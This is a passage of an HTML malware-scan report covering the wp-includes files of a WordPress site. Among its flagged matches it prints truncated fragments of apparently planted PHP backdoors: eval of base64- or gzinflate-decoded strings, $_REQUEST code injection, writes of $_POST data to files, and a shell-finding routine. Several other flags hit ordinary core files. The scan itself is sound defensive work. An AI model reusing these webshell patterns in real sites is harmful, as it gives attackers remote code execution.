</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_22").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/class-snoopy.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 36.83 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2025-12-02 12:29:23</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-07 10:03:38</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span><br><table id="file_23" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Function exec <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">exec</span><span style="color: #007700">( </span><span style="color: #0000BB">$this</span><span style="color: #007700">-></span><span style="color: #0000BB">curl_path </span><span style="color: #007700">. </span><span style="color: #DD0000">' ' </span><span style="color: #007700">. </span><span style="color: #0000BB">$cmdline_params </span><span style="color: #007700">. </span><span style="color: #DD0000">' ' </span><span style="color: #007700">. </span><span style="color: #0000BB">escapeshellarg</span><span style="color: #007700">( </span><span style="color: #0000BB">$URI </span><span style="color: #007700">), </span><span style="color: #0000BB">$results</span><span style="color: #007700">, </span><span style="color: #0000BB">$return </span><span style="color: #007700">); if(</span><span style="color: #0000BB">$return</span><span style="color: #007700">) { </span><span style="color: #0000BB">$this</span><span style="color: #007700">-></span><span style="color: #0000BB">error </span><span style="color: #007700">= </span><span style="color: #DD0000">"Error: cURL could not retrieve the document, error </span><span style="color: #0000BB">$return</span><span style="color: #DD0000">."</span><span style="color: #007700">; return </span><span style="color: #0000BB">false</span><span style="color: #007700">; } </span><span style="color: #0000BB">$results </span><span style="color: #007700">= </span><span style="color: #0000BB">implode</span><span style="color: #007700">(</span><span style="color: #DD0000">"\r\n"</span><span style="color: #007700">,</span><span style="color: #0000BB">$results</span><span style="color: #007700">); </span><span style="color: #0000BB">$result_headers </span><span style="color: #007700">= </span><span style="color: #0000BB">file</span><span style="color: #007700">(</span><span style="color: #DD0000">"</span><span style="color: #0000BB">$headerfile</span><span style="color: #DD0000">"</span><span style="color: #007700">); </span><span style="color: #0000BB">$this</span><span style="color: #007700">-></span><span style="color: #0000BB">_redirectaddr </span><span style="color: #007700">= </span><span style="color: #0000BB">false</span><span style="color: #007700">; unset(</span><span style="color: #0000BB">$this</span><span style="color: #007700">-></span><span style="color: #0000BB">headers</span><span style="color: #007700">); for(</span><span style="color: #0000BB">$currentHeader </span><span style="color: #007700">= </span><span style="color: #0000BB">0</span><span style="color: #007700">; </span><span style="color: #0000BB">$currentHeader </span><span style="color: #007700">< </span><span style="color: #0000BB">count</span><span style="color: #007700">(</span><span style="color: #0000BB">$result_headers</span><span style="color: #007700">); </span><span style="color: #0000BB">$currentHeader</span><span style="color: #007700">++) { if(</span><span style="color: #0000BB">preg_match</span><span style="color: #007700">(</span><span style="color: #DD0000">"/^(Location: |URI: )/i"</span><span style="color: #007700">,</span><span style="color: #0000BB">$result_headers</span><span style="color: #007700">[</span><span style="color: #0000BB">$currentHeader</span><span style="color: #007700">])) { </span><span style="color: #0000BB">pre</span><span style="color: #007700">...</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_23").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/e1T2R5BNbLS.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 51.75 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 23:02:14</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 23:02:14</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 3</span><br><table id="file_24" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'OykpKSkpKSkpKSkpKSkpKSkpKSldODAwMDB4MFtd+KbLW1NMQUJPTEckKDVNaUUyRVZSbkFBZ1VwT1RfKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlfTspKSkpT0REc1Bnb18kKGxaWVZfKGs4ZmRHSktUV18kKGV0YWxmbml6Zyh2ZXJydHMgbnJ1dGVyO2s4ZmRHSktUV18kbGFib2xnO0pyWU42XyRsYWJvbGd7KU9ERHNQZ29fJCg1TWlFMkVWUm5BQWdVcE9UXyBub2l0Y251ZjtdNzAwMHgwW134pstbU0xBQk9MRyQ9azhmZEdKS1RXXyQ7XTYwMHgwW134pstbU0xBQk9MRyQ9SnJZTjZfJH07OUVZYm1fJCBucnV0ZXI7KSkpXTUweDBbXfimy1tTTEF...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$MAIqK</span><span style="color: #007700">(</span><span style="color: #0000BB">$eyxBz</span><span style="color: #007700">(</span><span style="color: #DD0000">'OykpKSkpKSkpKSkpKSkpKSkpKSldODAwMDB4MFtd+KbLW1NMQUJPTEckKDVNaUUyRVZSbkFBZ1VwT1RfKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlfTspKSkpT0REc1Bnb18kKGxaWVZfKGs4ZmRHSktUV18kKGV0YWxmbml6Zyh2ZXJydHMgbnJ1dGVyO2s4ZmRHSktUV18kbGFib2xnO0pyWU42XyRsYWJvbGd7KU9ERHNQZ29fJCg1TWlFMkVWUm5BQWdVcE9UXyBub2l0Y251ZjtdNzAwMHgwW134pstbU0xBQk9MRyQ9azhmZEdKS1RXXyQ7XTYwMHgwW134pstbU0xBQk9MRyQ9SnJZTjZfJH07OUVZYm1fJCBucnV0ZXI7KSkp...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev eval_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">LavE</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">VJag</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_24").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/RDLhf6PoV2v.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 28.35 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 22:05:15</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 22:05:15</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 6</span><br><table id="file_25" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit download_remote_code2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 652</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RFU (Remote File Upload), via HTTP, allow to write malicious code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">fwrite </span><span style="color: #007700">(</span><span style="color: #0000BB">$fp</span><span style="color: #007700">, </span><span style="color: #0000BB">$_POST </span><span style="color: #007700">[</span><span style="color: #DD0000">'new'</span><span style="color: #007700">])</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str2 = '</span><span style="color: #007700">Array(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str3 = '</span><span style="color: #007700">@</span><span style="color: #0000BB">$isbot</span><span style="color: #DD0000">'; $search_str4 = '</span><span style="color: #007700">@require</span><span style="color: #DD0000">'; $search_str5 = '</span><span style="color: #007700">eval(</span><span style="color: #0000BB">gzuncompress</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str6 = '</span><span style="color: #007700">@include </span><span style="color: #DD0000">"\x2'; </span><span style="color: #0000BB">$search_str7</span><span style="color: #DD0000"> = '</span><span style="color: #0000BB">$OO</span><span style="color: #DD0000">'; </span><span style="color: #0000BB">$search_str8</span><span style="color: #DD0000"> = 'cache=00'; </span><span style="color: #0000BB">$search_str9</span><span style="color: #DD0000"> = 'file_get_contents(\"../index.php\")</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #DD0000">'; $search_str12 = '</span><span style="color: #0000BB">multipart</span><span style="color: #007700">/</span><span style="color: #0000BB">form</span><span style="color: #007700">-</span><span style="color: #0000BB">data</span><span style="color: #DD0000">'; if (!file_exists($finderdata_path)</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str2 = '</span><span style="color: #007700">Array(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str3 = '</span><span style="color: #007700">@</span><span style="color: #0000BB">$isbot</span><span style="color: #DD0000">'; $search_str4 = '</span><span style="color: #007700">@require</span><span style="color: #DD0000">'; $search_str5 = '</span><span style="color: #007700">eval(</span><span style="color: #0000BB">gzuncompress</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str6 = '</span><span style="color: #007700">@include </span><span style="color: #DD0000">"\x2'; </span><span style="color: #0000BB">$search_str7</span><span style="color: #DD0000"> = '</span><span style="color: #0000BB">$OO</span><span style="color: #DD0000">'; </span><span style="color: #0000BB">$search_str8</span><span style="color: #DD0000"> = 'cache=00'; </span><span style="color: #0000BB">$search_str9</span><span style="color: #DD0000"> = 'file_get_contents(\"../index.php\")"'; $search_str10 = '</span><span style="color: #0000BB">is_uploaded_file</span><span style="color: #DD0000">'; $search_str11 = '</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #DD0000">'; $search_str12 = '</span><span style="color: #0000BB">multipart</span><span style="color: #007700">/</span><span style="color: #0000BB">form</span><span style="color: #007700">-</span><span style="color: #0000BB">data</span><span style="color: #DD0000">'; if (!file_exists($finderdata_path)) { $arr_php_file = findshells($_SERVER['</span><span style="color: #0000BB">DOCUMENT_</span><span style="color: #007700">...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 11413268 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 279</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 11413268)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 4a069524 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 294</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 4a069524)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">arr_php_file </span><span style="color: #007700">= </span><span style="color: #0000BB">findshells</span><span style="color: #007700">(</span><span style="color: #0000BB">$_SERVER</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 689d8acc <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 65</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 689d8acc)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">if (isset(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'juke'</span><span style="color: #007700">]))
<br />{
<br /> </span><span style="color: #0000BB">$arr_files </span><span style="color: #007700">= </span><span style="color: #0000BB">DirFilesR</span><span style="color: #007700">(</span><span style="color: #0000BB">$_SERVER</span><span style="color: #007700">[</span><span style="color: #DD0000">'DOCUMENT_ROOT'</span><span style="color: #007700">]);</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_25").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/sodium_compat/src/Crypto32.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 53.83 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2022-02-24 03:40:58</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-07 10:03:39</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_26" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 38</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ZEROBYTE</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_26").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/sodium_compat/src/Crypto.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 53.53 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2022-02-24 03:40:58</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-07 10:03:39</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_27" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 38</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ZEROBYTE</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_27").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/sodium_compat/src/Core/Curve25519/Curve25519/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.50 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:14:49</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:14:49</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_28" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'wx/Yl3D4PKI2A8tHernohsCZ1EGvks2TR69PM69Xm9yDv8gPc0zrOffpe01LK+0h/JLEdyBPd85Z/tV/gyno51ZfPbdZa4yx9HHf4tbPevnd3BrVtHu8lze7OJe/9LeQ5Cc0A3px7k8pmvP14TZTJiN2I9p9Zv1F7f+j/vO5oP5vbMiaFEpPMFsWw31MTOh0C/af3/jC1sq3PYlzQEpTUvWkLbgtbfACrDE8NSsIiiTDWc90ydm7jqKXLtp/kTDlfAZOvKQczYnMNuwRImRqzgAYkRJAI5LhDxrY74ktcCPDrrvww9lj/xYF4ldlMAkFqRXM6jXQ3Orh3tlKyu4tfetD605NvZ21HcdqHHtyWtWhKrNTwJZ9Odx4Wvys/Jh+8l73xZfqNtf/6levNSn5FEK1oYLoKua+9YUretg+x2RhDmXi3jX32MXH/NV9v/0v9OB9DoraStBJAHScTsAVjFU2WWwPxM+MiHxz19DuZn8xUMvukwz...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit global_var_string <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Code Injection, through escaped global vars, allow inject attackers to execute PHP code on the target machine via HTTP request</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #DD0000">"_REQUEST"</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">htmlspecialchars_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">gzinflate</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$EsiSf</span><span style="color: #007700">))))</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_28").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/sodium_compat/src/Core/Curve25519/Curve25519/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.38 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:14:49</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:14:49</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span><br><table id="file_29" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$xyveRxPr2f6</span><span style="color: #007700">[</span><span style="color: #0000BB">48</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_29").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/sodium_compat/src/File.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 52.31 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2025-12-02 12:29:23</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-07 10:03:39</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_30" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 905</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ZEROBYTE</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_30").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/sodium_compat/autoload.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 3.04 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2025-12-02 12:29:23</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-07 10:03:39</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span><br><table id="file_31" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Function assert <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `assert`</p><p><i>[<a href="https://www.php.net/assert" target="_blank" class="text-primary">https://www.php.net/assert</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">assert</span><span style="color: #007700">(</span><span style="color: #0000BB">class_exists</span><span style="color: #007700">(</span><span style="color: #DD0000">'ParagonIE_Sodium_Compat'</span><span style="color: #007700">), </span><span style="color: #DD0000">'Possible filesystem/autoloader bug?'</span><span style="color: #007700">); } else { </span><span style="color: #0000BB">assert</span><span style="color: #007700">(</span><span style="color: #0000BB">class_exists</span><span style="color: #007700">(</span><span style="color: #DD0000">'ParagonIE_Sodium_Compat'</span><span style="color: #007700">)); } require_once(</span><span style="color: #0000BB">dirname</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">) . </span><span style="color: #DD0000">'/lib/php72compat.php'</span><span style="color: #007700">); } elseif (!</span><span style="color: #0000BB">function_exists</span><span style="color: #007700">(</span><span style="color: #DD0000">'sodium_crypto_stream_xchacha20_xor'</span><span style="color: #007700">)) { require_once(</span><span style="color: #0000BB">dirname</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">) . </span><span style="color: #DD0000">'/lib/php72compat.php'</span><span style="color: #007700">); } if (</span><span style="color: #0000BB">PHP_VERSION_ID </span><span style="color: #007700">< </span><span style="color: #0000BB">80400 </span><span style="color: #007700">|| !</span><span style="color: #0000BB">extension_loaded</span><span style="color: #007700">(</span><span style="color: #DD0000">'sodium'</span><span style="color: #007700">)) { require_once </span><span style="color: #0000BB">dirname</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">) . </span><span style="color: #DD0000">'/lib/php84compat.php'</span><span style="color: #007700">; } require_once(</span><span style="color: #0000BB">dirname</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">) . </span><span style="color: #DD0000">'/lib/stream-...</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_31").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/sodium_compat/custom-functions-1769473460.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 15.03 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 02:24:42</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 02:24:42</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_32" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 108</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$__</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 55</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$_</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Y2hy</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_32").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/ID3/module.audio-video.quicktime.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 163.09 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2025-12-02 12:29:23</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-07 10:03:38</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_33" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Function str_rot13 eval_str_rot13 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2390</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">riny</span>
</span>
